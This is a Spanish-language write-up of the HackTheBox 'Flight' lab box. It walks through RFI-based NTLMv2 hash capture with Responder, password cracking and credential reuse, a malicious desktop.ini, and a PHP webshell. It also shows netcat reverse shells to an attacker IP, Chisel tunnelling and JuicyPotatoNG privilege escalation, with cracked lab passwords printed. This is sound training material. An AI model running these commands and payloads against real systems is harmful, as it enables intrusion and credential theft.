Flight - HackTheBox
Hard box in which the Windows “smb” service is listed, as well as using password cracking techniques, RFI, Port Forwarding, etc.
Summary
- IP: 10.10.11.187
- OS: Windows 10
- Services & Applications:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: g0 Aviation
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-17 23:37:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49690/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
Recon
- Escaneo básico de puertos:
$nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.10.11.187 -oG allPorts
- Escaneo profundo de puertos encontrados:
$nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49690,49699 -sCV 10.10.11.187 -oN targeted
Análisis de página web:
- Al analizar el código fuente de la web principal por el puerto 80 encontramos la siguiente linea:
<p class="lf">Copyright 2022 <a href="#">flight.htb</a> - All Rights Reserved</p>
- Agregamos
"flight.htb"
al “/etc/hosts” y escaneamos en busca de subdominios:
$gobuster vhost -u flight.htb -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 20
- Encontramos el subdominio
"school.flight.htb"
, lo agregamos al"/etc/hosts"
y analizamos la página.
RFI y autenticación SMB para obtener HASH NTLMv2:
- Dentro de la página, al dar click en una de las pestañas presentadas, por ejemplo en la pestaña “Home” podemos darnos cuenta en el link que se realiza una petición GET con la siguiente estructura:
http://school.flight.htb/index.php?view=home.html
-
Sospechamos de un posible LFI, sin embargo si intentamos apuntar a archivos locales fuera del directorio actual, no se nos muestra en pantalla, lo que nos hace pensar que está sanitizado con algún filtro dentro del código.
-
En lugar de un LFI, podemos intentar aplicar un
RFI
, sabiendo que en Windows, la sintaxis de recursos compartidos en red tiene la siguiente estructura:"//dirección-ip/share"
podemos apuntar a un archivo cualquiera de nuestra máquina atacante, poniéndonos en escucha con el comando"responder"
el cual interceptará cualquier intento de autenticación de un servicio específico:
$responder -I tun0 -wPv
En la m+aquina víctima apuntamos a:
http://school.flight.htb/index.php?view=//ip-máquina-atacante/test
- Al apuntar a dicho archivo de nuestra máquina, recibimos el siguiente output en el
"responder"
:
[SMB] NTLMv2-SSP Client : 10.10.11.187
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash : svc_apache::flight:5cacd63943745ffe:93DF438A63823527ABB88910923D02A5:0101000000000000007156F58343D9013A36025E9794ECC8000000000200080032004C005200320001001E00570049004E002D004E0045004D0031005A0055004300420035004E00350004003400570049004E002D004E0045004D0031005A0055004300420035004E0035002E0032004C00520032002E004C004F00430041004C000300140032004C00520032002E004C004F00430041004C000500140032004C00520032002E004C004F00430041004C0007000800007156F58343D901060004000200000008003000300000000000000000000000003000007FC06B365CFCD3F7ACF5397EF85A635778917CF85A75006BE03BDB34EDABF3D70A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310039000000000000000000
-
Vemos que se hizo una autenticación por el servicio
SMB
y se ha capturado el respectivohash NTLMv2
. -
Guardamos el hash capturado y lo crackeamos con John:
$john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
- Obtenemos la credencial del usuario “svc_apache”; la guardamos en un archivo “credentials”.
Análisis de servicio SMB con crackmapexec:
- Validamos que el usuario
"svc_apache"
y la credencial encontrada son válidas dentro del sistema:
$crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13'
SMB 10.10.11.187 445 G0 [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
- Sí que son válidas, ahora con este usuario podríamos enumerar a los demás existentes dentro del sistema:
crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --users
SMB 10.10.11.187 445 G0 flight.htb\O.Possum badpwdcount: 2 baddpwdtime: 2023-02-18 00:03:40.174200+00:00
SMB 10.10.11.187 445 G0 flight.htb\svc_apache badpwdcount: 0 baddpwdtime: 1601-01-01 00:00:00+00:00
SMB 10.10.11.187 445 G0 flight.htb\V.Stevens badpwdcount: 1 baddpwdtime: 2023-02-18 00:03:43.663855+00:00
SMB 10.10.11.187 445 G0 flight.htb\D.Truff badpwdcount: 1 baddpwdtime: 2023-02-18 00:03:44.420353+00:00
SMB 10.10.11.187 445 G0 flight.htb\I.Francis badpwdcount: 1 baddpwdtime: 2023-02-18 00:03:45.146294+00:00
SMB 10.10.11.187 445 G0 flight.htb\W.Walker badpwdcount: 1 baddpwdtime: 2023-02-18 00:03:45.870646+00:00
SMB 10.10.11.187 445 G0 flight.htb\C.Bum badpwdcount: 0 baddpwdtime: 2023-02-18 00:03:46.570412+00:00
SMB 10.10.11.187 445 G0 flight.htb\M.Gold badpwdcount: 1 baddpwdtime: 2023-02-18 00:03:47.315115+00:00
SMB 10.10.11.187 445 G0 flight.htb\L.Kein badpwdcount: 1 baddpwdtime: 2023-02-18 00:03:48.090471+00:00
SMB 10.10.11.187 445 G0 flight.htb\G.Lors badpwdcount: 1 baddpwdtime: 2023-02-18 00:03:48.885458+00:00
SMB 10.10.11.187 445 G0 flight.htb\R.Cold badpwdcount: 1 baddpwdtime: 2023-02-18 00:03:49.734907+00:00
SMB 10.10.11.187 445 G0 flight.htb\S.Moon badpwdcount: 0 baddpwdtime: 2023-02-18 00:05:50.433521+00:00
SMB 10.10.11.187 445 G0 flight.htb\krbtgt badpwdcount: 1 baddpwdtime: 2023-02-18 00:03:52.827927+00:00
SMB 10.10.11.187 445 G0 flight.htb\Guest badpwdcount: 1 baddpwdtime: 2023-02-18 00:03:53.527925+00:00
SMB 10.10.11.187 445 G0 flight.htb\Administrator badpwdcount: 1 baddpwdtime: 2023-02-18
00:03:54.254576+00:00
- Guardamos en un archivo “users” cada uno de los usuarios que enumeramos e intentamos comprobar si alguno de estos reutiliza la credencial que habíamos encontrado:
$crackmapexec smb 10.10.11.187 -u users -p 'S@Ss!K@*t13' --continue-on-success
SMB 10.10.11.187 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13
- Vemos que el usuario
"S.Moon"
usa la misma credencial, así que enumeramos los recursos compartidos en busca de alguno con permisos de escritura:
$crackmapexec smb 10.10.11.187 -u S.Moon -p 'S@Ss!K@*t13' --shares
SMB 10.10.11.187 445 G0 Share Permissions Remark
SMB 10.10.11.187 445 G0 ----- ----------- ------
SMB 10.10.11.187 445 G0 ADMIN$ Remote Admin
SMB 10.10.11.187 445 G0 C$ Default share
SMB 10.10.11.187 445 G0 IPC$ READ Remote IPC
SMB 10.10.11.187 445 G0 NETLOGON READ Logon server share
SMB 10.10.11.187 445 G0 Shared READ,WRITE
SMB 10.10.11.187 445 G0 SYSVOL READ Logon server share
SMB 10.10.11.187 445 G0 Users READ
SMB 10.10.11.187 445 G0 Web READ
- Vemos el directorio
"Shared"
con permisos de escritura, accedemos mediante “smbclient” para verificar qué contiene:
$smbclient //10.10.11.187/Shared -U S.Moon --password='S@Ss!K@*t13'
smb: \> dir
. D 0 Sat Feb 18 17:46:04 2023
.. D 0 Sat Feb 18 17:46:04 2023
- No podemos ver nada dentro de este directorio, sin embargo podríamos aprovecharnos de los permisos de escritura para subir un archivo malicioso que apunte como ícono a un archivo cualquiera de nuestra máquina atacante, estando en escucha de nuevo con
"responder"
para intentar interceptar la autenticación de otro usuario del sistema:
$responder -I tun0 -wPv
$nano desktop.ini
Dentro de desktop.ini
[.ShellClassInfo]
IconResource=\\ip-atacante\test
smb: \> put desktop.ini
putting file desktop.ini as \desktop.ini (0,1 kb/s) (average 0,1 kb/s)
Respuesta del responder
[SMB] NTLMv2-SSP Client : 10.10.11.187
[SMB] NTLMv2-SSP Username : flight.htb\c.bum
[SMB] NTLMv2-SSP Hash : c.bum::flight.htb:8d2fbfb79cd9180e:03174FBC0F33C08D4087ADE94EF46DC3:0101000000000000808F8E208743D90111D89A688538A5F10000000002000800330052003500350001001E00570049004E002D00560033005A0032005A00380037004B0033003000510004003400570049004E002D00560033005A0032005A00380037004B003300300051002E0033005200350035002E004C004F00430041004C000300140033005200350035002E004C004F00430041004C000500140033005200350035002E004C004F00430041004C0007000800808F8E208743D901060004000200000008003000300000000000000000000000003000007FC06B365CFCD3F7ACF5397EF85A635778917CF85A75006BE03BDB34EDABF3D70A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310039000000000000000000
- Obtenemos el
Hash NTLMv2
del usuario “c.bum”, lo intentamos romper con John:
$john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash2
- Obtenemos la credencial del usuario
"c.bum"
, ahora de la misma manera, enumeramos los recursos compartidos con “SMB” en busca de aquellos con permisos de escritura:
$crackmapexec smb 10.10.11.187 -u c.bum -p 'Tikkycoll_431012284' --shares
SMB 10.10.11.187 445 G0 Share Permissions Remark
SMB 10.10.11.187 445 G0 ----- ----------- ------
SMB 10.10.11.187 445 G0 ADMIN$ Remote Admin
SMB 10.10.11.187 445 G0 C$ Default share
SMB 10.10.11.187 445 G0 IPC$ READ Remote IPC
SMB 10.10.11.187 445 G0 NETLOGON READ Logon server share
SMB 10.10.11.187 445 G0 Shared READ,WRITE
SMB 10.10.11.187 445 G0 SYSVOL READ Logon server share
SMB 10.10.11.187 445 G0 Users READ
SMB 10.10.11.187 445 G0 Web READ,WRITE
- Vemos un directorio
"Web"
con permisos de escritura, accedemos a él para verificar que contiene:
$smbclient //10.10.11.187/Web -U C.bum --password='Tikkycoll_431012284'
smb: \> dir
. D 0 Sat Feb 18 17:57:52 2023
.. D 0 Sat Feb 18 17:57:52 2023
flight.htb D 0 Sat Feb 18 17:57:00 2023
school.flight.htb D 0 Sat Feb 18 17:57:00 2023
- Como podemos ver, tenemos capacidad de escritura en ambos dominios a los que tenemos acceso, para aprovecharnos de esto, solo debemos subir una WebShell la cual nos permitirá ejecutar comandos dentro del sistema:
smb: \flight.htb\> put webshell.php
-
Ahora accedemos a la webshell desde el navegador y veremos el campo “cmd” el cual podremos ejecutar comandos.
-
Ahora, usando el campo
"cmd"
, crearemos un directorio dentro del sistema:
mkdir C:\AndresRuizzzzz
- Y subimos el binario
"netcat.exe"
a este directorio creado, haciendo uso de un servidor http creado con python en nuestra máquina atacante:
curl http://10.10.14.19:8000/nc.exe -o C:\AndresRuizzzzz\nc.exe
- Ahora entablamos una
reverse shell
haciendo uso de dicho binario:
C:\AndresRuizzzzz\nc.exe -e powershell 10.10.14.19 443
-
Habremos ganado acceso al sistema como el usuario
"svc_apache"
. -
Como teníamos una credencial smb válida, podemos probarla para entablar una shell como el usuario “C.Bum” haciendo uso del binario RunasCs.exe
PS C:\AndresRuizzzzz> curl 10.10.14.19:8000/RunasCs.exe -o RunasCs.exe
PS C:\AndresRuizzzzz> .\RunasCs.exe C.bum Tikkycoll_431012284 powershell -r 10.10.14.19:1234
- Habremos ganado acceso al sistema como “C.bum” y podremos ver la user flag en
"\users\C.Bum\Desktop"
, ahora haciendo un análisis de servicios vemos que hay un servicio web corriendo en el puerto 8000:
PS C:\Windows\system32> netstat -oat
- Ahora hacemos
port forwarding
conChisel
para tener acceso a todos los puertos de la máquina víctima en nuestra máquina atacante, habiendo transferido previamente el binario de Chisel a la máquina víctima:
En máquina atacante:
$./chisel server --reverse --port 9999
$nano /etc/proxychains.conf
###### Añadir en la última linea #######
socks5 127.0.0.1 1080
En el navegador, crear un proxy usando la extensión "FoxyProxy" , de tipo SOCKS5, en la IP 127.0.0.1 y en el pueto 1080
En máquina víctima:
PS C:\AndresRuizzzzz> curl 10.10.14.19:8000/chisel.exe -o chisel.exe
PS C:\AndresRuizzzzz> ./chisel.exe client 10.10.14.19:9999 R:socks
- Ahora en nuestra máquina atacante podemos visitar en el navegador, usando el proxy que creamos, el contenido web del puerto 8000 y encontramos una página normal sin información interesante.
localhost:8000
- Sin embargo, en la máquina víctima, dentro del directorio
"C:\inetpub\development"
podemos encontrar los recursos de dicha web que hemos encontrado; dado que la web interpreta archivos “aspx” transferimos un “cmd.aspx” malicioso cmd.aspx
PS C:\inetpub\development> curl 10.10.14.19:88/cmd.aspx -o cmd.aspx
- Accedemos a dicho recurso dentro del navegador y podremos ejecutar comandos dentro del sistema.
localhost:8000/cmd.aspx
-
En el campo
"Program"
ponemos la dirección en la que habiamos descargado el netcat:"C:\AndresRuizzzzz\nc.exe"
-
En el campo
"Arguments"
ponemos el comando para entablar la reverse shell:"-e powershell 10.10.14.19 321"
-
Habremos ganado acceso al sistema como el usuario “iis apppool\defaultapppool”
ESCALANDO PRIVILEGIOS:
- Si revisamos los
privilegios de usuario
, encontramos el siguiente:
PS C:\AndresRuizzzzz> whoami /priv
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
- Esto lo podemos explotar para escalar privilegios ejecutando el binario JuicyPotatoNG diciéndole que nos brinde una cmd de forma interactiva:
PS C:\AndresRuizzzzz>curl 10.10.14.19:88/JuicyPotatoNG.exe -o JuicyPotatoNG.exe
PS C:\AndresRuizzzzz> ./JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -i
- Ya seremos nt
authority\system
y podremos ver laroot flag
en “\users\administrator\Desktop”